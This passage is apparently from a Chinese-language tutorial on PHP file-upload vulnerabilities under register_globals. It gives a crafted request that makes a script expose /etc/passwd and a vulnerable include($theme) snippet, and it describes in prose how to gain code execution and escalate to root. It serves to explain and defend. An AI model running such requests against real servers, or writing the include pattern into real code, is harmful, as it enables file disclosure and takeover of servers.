http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量(当然POST方式也可以(甚至是Cookie)):
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量,但是这时PHP程序不再处理上载的文件,而是处理“/etc/passwd”(通常会导致内容暴露)。这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了,新版本的PHP使用HTTP_POST_FILES[]来决定上载文件,同时也提供了很多函数来解决这个问题,例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题,但是实际上肯定有很多PHP程序仍然使用旧的方法,很容易受到这种攻击。
作为文件上载的攻击方法的一个变种,我们看一下下面的一段代码:
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻击者可以控制“$theme”的话,很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令,但是他无法使用远程文件,因此,他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的,但是文件上载帮了我们这个忙,如果攻击者先在本地机器上创建一个包含PHP代码的文件,然后创建一个包含名为“theme”的文件域的表单,最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码,PHP就会把攻击者提交的文件保存起来,并把“$theme”的值设置为攻击者提交的文件,这样file_exists()函数会检查通过,攻击者的代码也将执行。
获得执行任意指令的能力之后,攻击者显然想提升权限或者是扩大战果,而这又需要一些服务器上没有的工具集,而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具,把她们存在服务器上,然后利用他们执行指令的能力,使用chmod()改变文件的权限,然后执行。例如:攻击者可以绕过防火墙或IDS上载一个本地root攻击程序,然后执行,这样就获得了root权限。
<未完待续>
最新技术文章: